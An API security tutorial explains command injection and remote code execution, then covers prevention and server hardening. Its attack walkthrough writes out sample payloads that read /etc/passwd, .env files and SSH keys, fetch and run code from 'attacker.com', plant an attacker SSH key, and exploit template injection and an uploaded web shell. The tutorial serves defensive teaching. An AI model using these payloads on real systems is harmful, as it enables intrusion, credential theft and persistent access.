API Security Command Injection
Command injection and remote code execution (RCE) are among the most severe vulnerabilities possible in an API. While SQL injection attacks a database, command injection attacks the operating system itself. A successful command injection attack gives an attacker the ability to run any command on the server — read files, install malware, create backdoors, or shut the system down entirely.
What Is Command Injection
Command injection occurs when an API takes user-supplied input and passes it to a system shell command without properly sanitizing it. The attacker appends additional commands to the input, and the server executes them.
Real-World Analogy: Imagine asking an employee: "Please look up the file named [name]." The employee opens a filing cabinet and retrieves the file. Command injection: You say "Please look up the file named 'quarterly-report AND also shred everything in the HR cabinet'." If the employee follows instructions literally without filtering, they shred the HR cabinet. That is command injection.
How Command Injection Happens in APIs
Scenario: A network diagnostics API that pings a host
Intended use:
POST /api/diagnostic/ping
Body: { "host": "google.com" }
Server executes: ping -c 1 google.com
Returns ping result.
Malicious input:
POST /api/diagnostic/ping
Body: { "host": "google.com; cat /etc/passwd" }
Server executes: ping -c 1 google.com; cat /etc/passwd
The semicolon ends the ping command.
The shell then executes: cat /etc/passwd
Returns: ping result + full contents of /etc/passwd
Other command separator characters:
; → Execute next command after this one
&& → Execute next command if this one succeeds
|| → Execute next command if this one fails
| → Pipe output to next command
` → Execute command in backticks and substitute output
$() → Subshell execution
\n → Newline, starts new command
API Features Commonly Vulnerable to Command Injection
Feature Type │ Example Vulnerable Call ──────────────────────┼────────────────────────────────────────── Ping / network check │ ping -c 1 [user_input] DNS lookup │ nslookup [user_input] File conversion │ convert [input_file] [output_file] File compression │ zip output.zip [user_filename] Image processing │ ffmpeg -i [user_file] output.mp4 PDF generation │ wkhtmltopdf [user_url] output.pdf Git operations │ git clone [user_repo_url] Email sending │ sendmail -t [user_email] Log file viewing │ tail -n 100 [user_logfile] Archive extraction │ tar -xzf [user_archive]
Notice the pattern: any feature where the server runs a shell command that incorporates user-controlled data is a potential command injection point.
What Attackers Do With Command Injection
Escalating Attack Steps:
Step 1 – Reconnaissance:
{ "host": "x; whoami" }
→ Response: "www-data" ← Server is running as this OS user
Step 2 – System information:
{ "host": "x; uname -a" }
→ Response: "Linux server 5.15 #1 SMP x86_64 GNU/Linux"
Step 3 – Read sensitive files:
{ "host": "x; cat /etc/passwd" }
{ "host": "x; cat /var/www/app/.env" } ← Grab API keys, DB passwords
{ "host": "x; cat /root/.ssh/id_rsa" } ← Steal SSH private key
Step 4 – List and read application files:
{ "host": "x; find / -name '*.conf' 2>/dev/null" }
{ "host": "x; cat /var/www/app/config/database.yml" }
Step 5 – Establish persistence (backdoor):
{ "host": "x; curl http://attacker.com/malware | bash" }
Downloads and executes malware from attacker's server.
{ "host": "x; echo 'ssh-rsa AAAA...attacker_key' >> ~/.ssh/authorized_keys" }
Adds attacker's SSH key. Permanent remote access established.
Step 6 – Lateral movement:
From the compromised server, attack internal services
that are not accessible from the internet.
Remote Code Execution (RCE)
Remote Code Execution is a broader category that includes command injection but also covers other ways of executing attacker-controlled code on a server. RCE can happen through:
RCE Vector 1: Command Injection (covered above)
RCE Vector 2: Deserialization Vulnerabilities
APIs that accept serialized objects (Java, PHP, Python pickle)
and deserialize them without validation.
Serialized data can contain code that executes during deserialization.
Attack: Send a malicious serialized object to an API endpoint
that accepts Java serialized data or PHP serialized objects.
During deserialization, the server executes attacker's code.
RCE Vector 3: Template Injection (SSTI)
Some APIs use template engines to generate responses.
If user input is inserted into template code directly:
Template: "Welcome, {{ username }}"
Malicious username: "{{ 7*7 }}"
Response: "Welcome, 49" ← Template evaluated the expression
More dangerous: "{{ ''.__class__.__mro__[1].__subclasses__() }}"
→ Can execute OS commands through Python template engine.
RCE Vector 4: File Upload + Execution
API accepts file uploads and stores them in web-accessible directory.
Attacker uploads "shell.php" containing PHP code.
Attacker accesses: GET /uploads/shell.php?cmd=id
Web server executes the PHP file.
→ Attacker has a web shell on the server.
Preventing Command Injection
Primary Prevention: Avoid Shell Commands Entirely
The safest approach is to never pass user input to shell commands. Use language-native libraries instead of shelling out to system commands.
Vulnerable (shell command with user input):
Python:
import subprocess
host = request.json['host']
result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True)
Safe (library-based, no shell):
Python:
import subprocess
host = request.json['host']
result = subprocess.run(["ping", "-c", "1", host], ← List form, no shell
capture_output=True, timeout=10)
# Each argument is separate — cannot inject command separators
Even safer (purpose-built library):
Python for DNS lookup:
import socket
host = request.json['host']
ip_address = socket.gethostbyname(host) ← No shell, pure library
Node.js for ping:
Use 'net-ping' npm package instead of exec("ping " + host)
PHP for image conversion:
Use GD or Imagick PHP extension instead of exec("convert " + file)
Secondary Prevention: Strict Allowlisting of Input
If you must use a shell command, validate input with strict allowlisting first.
For a ping endpoint:
Allowed input format: IPv4 address or hostname only
IPv4 regex: ^(\d{1,3}\.){3}\d{1,3}$
Hostname regex: ^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]$
Any input not matching these exact patterns → Reject with 400 Bad Request
No command separators (;|&`$\n) can pass this check.
For a file operation endpoint:
Allowed: alphanumeric characters, underscores, hyphens, dot
Forbidden: any shell special characters
Use allowlist: ^[a-zA-Z0-9_\-\.]+$
Tertiary Prevention: Escape Shell Arguments
If user input must go into a shell command and cannot be avoided,
use proper shell escaping functions:
Python:
import shlex
safe_arg = shlex.quote(user_input)
command = f"ping -c 1 {safe_arg}"
subprocess.run(command, shell=True)
shlex.quote("google.com; cat /etc/passwd")
→ Returns: "'google.com; cat /etc/passwd'"
→ Shell treats entire thing as one string, not two commands.
PHP:
$safe_host = escapeshellarg($host);
$output = shell_exec("ping -c 1 " . $safe_host);
Note: Escaping is weaker than input validation or avoiding shell entirely.
Treat it as a last resort, not a primary defense.
Preventing Deserialization RCE
Rules for safe deserialization: Rule 1: Never deserialize untrusted data if avoidable Use JSON or XML with schema validation instead of native serialization. JSON is data-only — it cannot contain executable code. Rule 2: Use serialization formats without code execution JSON, Protocol Buffers, MessagePack → Safe (data only) Java native serialization, PHP serialize(), Python pickle → Dangerous Rule 3: If native deserialization is required: Validate the serialized data's digital signature before deserializing. Use deserialization allowlists: only permit specific known safe classes. Run deserialization in an isolated sandbox. Rule 4: Keep deserialization libraries updated Many RCE vulnerabilities exist in old versions of serialization libraries. Log4Shell, Apache Commons Collections, FastJSON — all deserialization RCE.
Preventing Template Injection
Safe template usage:
Never insert user input directly into template code:
WRONG: template.render("Hello " + username) ← user controls template
RIGHT: template.render("Hello {{ name }}", name=username) ← user is data
Use auto-escaping template engines:
Jinja2 (Python): Enable autoescape=True
Handlebars (Node.js): Uses HTML escaping by default
Thymeleaf (Java): Escapes by default
Sandbox template execution if users must create their own templates:
Restrict available functions and variables in the template context.
Remove access to system, os, subprocess modules.
Server Hardening to Limit RCE Impact
Principle of Least Privilege: API process should run as a low-privilege user. NOT as root, NOT as www-data with sudo access. If command injection occurs: Running as root → attacker has complete server control Running as api_user with minimal permissions → limited damage Container / Sandbox Isolation: Run API in Docker containers with restricted capabilities. Container escape is harder than direct server access. Compromise of container does not immediately mean server compromise. Read-Only Filesystem: Mount application files as read-only. Attacker cannot write web shells, modify config, or install malware. Network Egress Restrictions: Restrict outbound network connections from API server. Attacker cannot easily download malware or exfiltrate data. Commands like "curl attacker.com | bash" fail if outbound HTTP is blocked.
Key Points
- Command injection occurs when user input is passed directly to system shell commands. The semicolon, pipe, ampersand, and backtick characters are used to chain additional commands.
- The safest prevention is to avoid shell commands entirely and use native language libraries for functionality like DNS lookup, image processing, and network checks.
- If shell commands are unavoidable, use strict allowlist validation on inputs and pass arguments as arrays (not shell strings) to subprocess functions.
- RCE can also occur through insecure deserialization, server-side template injection, and file upload with execution. Each requires specific countermeasures.
- Server hardening — running as a low-privilege user, using containers, restricting outbound network access — limits the damage when injection occurs.
